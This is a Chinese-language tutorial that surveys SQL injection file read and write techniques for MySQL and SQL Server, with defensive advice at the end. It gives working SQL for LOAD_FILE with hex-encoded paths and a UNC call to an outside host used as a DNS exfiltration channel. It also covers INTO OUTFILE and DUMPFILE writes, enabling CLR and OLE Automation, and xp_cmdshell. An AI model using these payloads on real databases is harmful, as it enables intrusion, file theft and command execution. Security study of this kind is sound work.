萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 程式設計 >  >> 資料庫 >> MySQL 教學

SQL 注入中的檔案讀寫技術總結:MySQL、SQL Server、Oracle

前言

SQL 注入不僅限於資料查詢竊取,當資料庫具備檔案讀寫權限時,攻擊面將擴展至作業系統層面。本文系統整理 MySQL、SQL Server、Oracle 三大資料庫在 SQL 注入場景下的檔案讀寫技術,供安全研究與防禦參考。

一、MySQL 檔案操作

讀取檔案

MySQL 透過 LOAD_FILE() 函數讀取檔案內容,支援十六進制編碼繞過引號過濾:

-- 讀取本地檔案
SELECT LOAD_FILE('c:/boot.ini');
SELECT LOAD_FILE(0x633a2f626f6f742e696e69);  -- 十六進制編碼

-- 透過 SMB 協定讀取遠端檔案
SELECT LOAD_FILE('//ecma.io/1.txt');

-- 可用於 DNS 隧道技術
SELECT LOAD_FILE('\\\\ecma.io\\1.txt');

寫入檔案

MySQL 提供兩種寫入方式,需具備 FILE 權限且目標目錄可寫:

-- INTO OUTFILE:輸出為文字檔,會轉義特殊字元
SELECT 0x313233 INTO OUTFILE 'D:/1.txt';

-- INTO DUMPFILE:輸出二進制原始資料,不轉義
SELECT 0x313233 INTO DUMPFILE 'D:/1.txt';

二、SQL Server 檔案操作

讀取檔案

1. BULK INSERT

CREATE TABLE result(res VARCHAR(8000));
BULK INSERT result FROM 'd:/1.txt';

2. CLR 整合繞過限制

SQL Server 可載入 .NET 組件,但會驗證合法性。繞過技巧:先載入合法 .NET 組件,再追加目標檔案:

-- 啟用 CLR
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'clr enabled', 1; RECONFIGURE;

-- 載入合法組件
CREATE ASSEMBLY sqb FROM 'd:\net.exe' WITH PERMISSION_SET = UNSAFE;

-- 追加讀取目標檔案
ALTER ASSEMBLY sqb ADD FILE FROM 'd:\1.txt';
ALTER ASSEMBLY sqb ADD FILE FROM 'd:\notnet.exe';

-- 讀取組件內容
SELECT master.dbo.fn_varbintohexstr(CAST(content AS VARBINARY)) FROM sys.assembly_files;

3. Script.FileSystemObject (OLE Automation)

-- 啟用 OLE Automation
SP_CONFIGURE 'show advanced options', 1; RECONFIGURE;
SP_CONFIGURE 'Ole Automation Procedures', 1; RECONFIGURE;

-- 讀取檔案範例
DECLARE @o INT, @f INT, @t INT, @ret INT, @line VARCHAR(8000);
EXEC sp_oacreate 'scripting.filesystemobject', @o OUT;
EXEC sp_oamethod @o, 'opentextfile', @f OUT, 'd:\1.txt', 1;
EXEC @ret = sp_oamethod @f, 'readline', @line OUT;
WHILE (@ret = 0) BEGIN PRINT @line; EXEC @ret = sp_oamethod @f, 'readline', @line OUT; END

寫入檔案

1. Script.FileSystemObject

DECLARE @o INT, @f INT, @t INT, @ret INT, @line VARCHAR(8000);
EXEC sp_oacreate 'scripting.filesystemobject', @o OUT;
EXEC sp_oamethod @o, 'createtextfile', @f OUT, 'e:\1.txt', 1;
EXEC @ret = sp_oamethod @f, 'writeline', NULL, 'This is the test string';

2. BCP 匯出 (測試失敗,缺少 bcp.exe)

bcp "SELECT name FROM sysobjects" QUERYOUT testout.txt -c -S 127.0.0.1 -U sa -P "sa"

3. xp_cmdshell 執行系統指令

EXEC xp_cmdshell 'echo test > d:\1.txt';

三、Oracle

Oracle 受限於 PL/SQL 架構,檔案操作受限極大,暫不深入討論。

防禦建議

  • 嚴格控制資料庫 FILE、CLR、OLE Automation、xp_cmdshell 等高危權限
  • 採用參數化查詢、ORM 框架防禦 SQL 注入
  • 資料庫服務以最低權限帳號運行,禁用不必要的擴展功能
  • 實施 WAF 與資料庫稽核監控異常檔案操作
copyright © 萬盛學電腦網 all rights reserved